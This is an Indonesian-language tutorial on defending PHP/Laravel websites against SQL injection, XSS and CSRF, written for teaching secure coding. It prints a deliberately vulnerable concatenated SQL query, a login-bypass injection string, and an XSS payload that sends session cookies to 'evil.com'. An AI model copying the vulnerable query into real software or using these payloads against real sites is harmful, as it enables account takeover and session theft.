Membangun website dengan tampilan antarmuka yang memukau dan fitur yang lengkap hanyalah separuh dari tugas seorang rekayasawan web. Tanpa perlindungan keamanan siber yang kokoh, seluruh jerih payah Anda dapat musnah dalam hitungan menit akibat pencurian basis data pengguna, perusakan nama baik institusi (*defacement*), atau penuntutan hukum akibat kebocoran data pribadi (UU PDP).
Mari kita bedah secara ilmiah tiga vektor serangan web paling klasik dari standar OWASP (Open Web Application Security Project) beserta teknik pertahanan praktisnya.
1. SQL Injection (SQLi): Mengelabui Database Melalui Input Form
SQL Injection terjadi ketika input yang dikirimkan oleh pengguna digabungkan secara langsung (*string concatenation*) ke dalam query SQL database tanpa melalui proses sanitasi:
Contoh Kode Berbahaya (Vulnerable):
// JANGAN PERNAH MENULIS KODE SEPERTI INI! $sql = "SELECT * FROM users WHERE email = \"" . $_POST["email"] . "\" AND password = \"" . $_POST["password"] . "\"";
Jika peretas mengisikan kolom password dengan nilai ' OR '1'='1, query akan selalu bernilai benar (TRUE) dan peretas berhasil login sebagai akun pengguna pertama tanpa kata sandi!
Solusi Mutlak: Gunakan Parameterized Queries (PDO Prepared Statements)
// KODE AMAN (SECURE):
$stmt = $pdo->prepare("SELECT id, name, password_hash FROM users WHERE email = :email LIMIT 1");
$stmt->execute(["email" => $_POST["email"]]);
$user = $stmt->fetch();
Database memperlakukan input pengguna murni sebagai data literal teks, bukan sebagai perintah eksekusi logika SQL.
2. Cross-Site Scripting (XSS): Menyusupkan Skrip Jahat ke Browser Korban
XSS terjadi saat aplikasi web menampilkan kembali data yang dimasukkan pengguna (misal komentar artikel) ke halaman HTML tanpa proses lolos encoding karakter khusus seperti <, >, atau ".
- Bahaya XSS: Peretas dapat menyuntikkan skrip JavaScript
<script>fetch('https://evil.com?c=' + document.cookie)</script>untuk mencuri cookie sesi autentikasi korban. - Solusi: Selalu gunakan fungsi escape HTML bawaan seperti
htmlspecialchars($input, ENT_QUOTES, "UTF-8")atau gunakan template engine otomatis seperti Blade Laravel (@{{ $variable }}otomatis melakukan sanitasi). - Benteng Ekstra: Terapkan HTTP Header Content-Security-Policy (CSP) untuk melarang eksekusi skrip inline yang tidak berizin.
3. Cross-Site Request Forgery (CSRF): Membajak Tindakan Pengguna
CSRF adalah trik di mana situs web berbahaya menjebak browser pengguna agar mengirimkan permintaan yang tidak disadari (misal transfer saldo atau ganti email) ke situs web tepercaya tempat pengguna sedang login aktif.
- Solusi Anti-CSRF Token: Setiap form yang mengubah status data (POST, PUT, DELETE) wajib menyertakan token kriptografi acak yang hanya diketahui oleh server dan sesi aktif pengguna. Di Laravel, cukup sematkan direktif
@csrfdi dalam setiap form HTML Anda. - Cookie SameSite: Gunakan atribut
SameSite=LaxatauSameSite=Strictpada cookie sesi untuk melarang browser mengirim cookie saat permintaan berasal dari domain luar.